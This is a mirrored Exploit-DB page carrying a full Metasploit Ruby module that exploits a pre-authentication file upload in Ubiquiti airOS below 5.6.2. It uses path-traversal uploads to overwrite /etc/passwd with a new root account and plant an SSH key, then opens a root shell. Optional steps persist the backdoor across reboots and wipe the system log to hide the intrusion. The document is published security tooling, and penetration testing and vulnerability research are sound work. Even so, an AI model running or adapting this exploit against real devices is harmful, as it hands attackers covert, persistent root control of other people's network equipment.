Ubiquiti airOS – Arbitrary File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2016-05-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39853/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    # See note about overwritten files
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Ubiquiti airOS Arbitrary File Upload',
    'Description'=> %q{
    This module exploits a pre-auth file upload to install a new root user
    to /etc/passwd and an SSH key to /etc/dropbear/authorized_keys.
    
    FYI, /etc/{passwd,dropbear/authorized_keys} will be overwritten.
    /etc/persistent/rc.poststart will be overwritten if PERSIST_ETC is true.
    
    This method is used by the "mf" malware infecting these devices.
    },
    'Author' => [
    '93c08539', # Vulnerability discovery
    'wvu' # Metasploit module
    ],
    'References' => [
    %w{EDB 39701},
    %w{URL https://hackerone.com/reports/73480}
    ],
    'DisclosureDate' => 'Feb 13 2016',
    'License'=> MSF_LICENSE,
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Privileged' => true,
    'Payload'=> {
    'Compat' => {
    'PayloadType'=> 'cmd_interact',
    'ConnectionType' => 'find'
    }
    },
    'Targets'=> [
    ['Ubiquiti airOS < 5.6.2', {}]
    ],
    'DefaultTarget'=> 0,
    'DefaultOptions' => {
    'SSL' => true
    }
    ))
    
    register_options([
    Opt::RPORT(443),
    OptPort.new('SSH_PORT', [true, 'SSH port', 22])
    ])
    
    register_advanced_options([
    OptBool.new('PERSIST_ETC', [false, 'Persist in /etc/persistent', false]),
    OptBool.new('WIPE_LOGS', [false, 'Wipe /var/log/messages', false]),
    OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
    OptInt.new('SSH_TIMEOUT',[false, 'SSH timeout', 10])
    ])
    end
    
    def exploit
    print_status('Uploading /etc/passwd')
    upload_etc_passwd
    print_status('Uploading /etc/dropbear/authorized_keys')
    upload_authorized_keys
    print_status("Logging in as #{username}")
    vprint_status("Password: #{password}")
    vprint_status("Private key:\n#{private_key}")
    if (ssh = ssh_login)
    print_good("Logged in as #{username}")
    handler(ssh.lsock)
    end
    end
    
    def on_new_session(session)
    super
    if datastore['PERSIST_ETC']
    print_status('Persisting in /etc/persistent')
    persist_etc(session)
    end
    if datastore['WIPE_LOGS']
    print_status('Wiping /var/log/messages')
    wipe_logs(session)
    end
    end
    
    def upload_etc_passwd
    mime = Rex::MIME::Message.new
    mime.add_part(etc_passwd, 'text/plain', 'binary',
    'form-data; name="passwd"; filename="../../etc/passwd"')
    
    send_request_cgi(
    'method' => 'POST',
    'uri'=> '/login.cgi',
    'ctype'=> "multipart/form-data; boundary=#{mime.bound}",
    'data' => mime.to_s
    )
    end
    
    def upload_authorized_keys
    mime = Rex::MIME::Message.new
    mime.add_part(authorized_keys, 'text/plain', 'binary',
    'form-data; name="authorized_keys"; ' \
    'filename="../../etc/dropbear/authorized_keys"')
    
    send_request_cgi(
    'method' => 'POST',
    'uri'=> '/login.cgi',
    'ctype'=> "multipart/form-data; boundary=#{mime.bound}",
    'data' => mime.to_s
    )
    end
    
    def ssh_login
    ssh_opts = {
    port: datastore['SSH_PORT'],
    auth_methods: %w{publickey password},
    key_data: [private_key],
    # Framework options
    msframework:framework,
    msfmodule:self,
    proxies:datastore['Proxies']
    }
    
    ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
    
    begin
    ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
    Net::SSH.start(rhost, username, ssh_opts)
    end
    rescue Net::SSH::Exception => e
    vprint_error("#{e.class}: #{e.message}")
    return nil
    end
    
    if ssh
    report_vuln(
    host: rhost,
    name: self.name,
    refs: self.references,
    info: ssh.transport.server_version.version
    )
    report_note(
    host: rhost,
    port: datastore['SSH_PORT'],
    type: 'airos.ssh.key',
    data: private_key
    )
    return Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
    end
    
    nil
    end
    
    #
    # Persistence and cleanup methods
    #
    
    def persist_etc(session)
    mime = Rex::MIME::Message.new
    mime.add_part(rc_poststart, 'text/plain', 'binary',
    'form-data; name="rc.poststart"; ' \
    'filename="../../etc/persistent/rc.poststart"')
    
    send_request_cgi(
    'method' => 'POST',
    'uri'=> '/login.cgi',
    'ctype'=> "multipart/form-data; boundary=#{mime.bound}",
    'data' => mime.to_s
    )
    
    # http://www.hwmn.org/w/Ubiquity_HOWTO
    commands = [
    "mkdir #{username}",
    "cp /etc/passwd /etc/dropbear/authorized_keys #{username}",
    'cfgmtd -wp /etc'
    ]
    
    commands.each do |command|
    session.shell_command_token(command)
    end
    end
    
    def wipe_logs(session)
    session.shell_command_token('> /var/log/messages')
    end
    
    #
    # /etc/passwd methods
    #
    
    def etc_passwd
    "#{username}:#{hash(password)}:0:0:Administrator:/etc/persistent:/bin/sh\n"
    end
    
    def hash(password)
    # http://man7.org/linux/man-pages/man3/crypt.3.html
    salt = Rex::Text.rand_text(2, '', Rex::Text::AlphaNumeric + './')
    password.crypt(salt)
    end
    
    def username
    @username ||= Rex::Text.rand_text_alpha_lower(8)
    end
    
    def password
    @password ||= Rex::Text.rand_text_alphanumeric(8)
    end
    
    #
    # /etc/dropbear/authorized_keys methods
    #
    
    def authorized_keys
    pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
    "#{ssh_keygen.ssh_type} #{pubkey}\n"
    end
    
    def private_key
    ssh_keygen.to_pem
    end
    
    def ssh_keygen
    @ssh_keygen ||= OpenSSL::PKey::RSA.new(2048)
    end
    
    #
    # /etc/persistent/rc.poststart methods
    #
    
    def rc_poststart
    <<EOF
    cp /etc/persistent/#{username}/passwd /etc/passwd
    cp /etc/persistent/#{username}/authorized_keys /etc/dropbear/authorized_keys
    EOF
    end
    
    end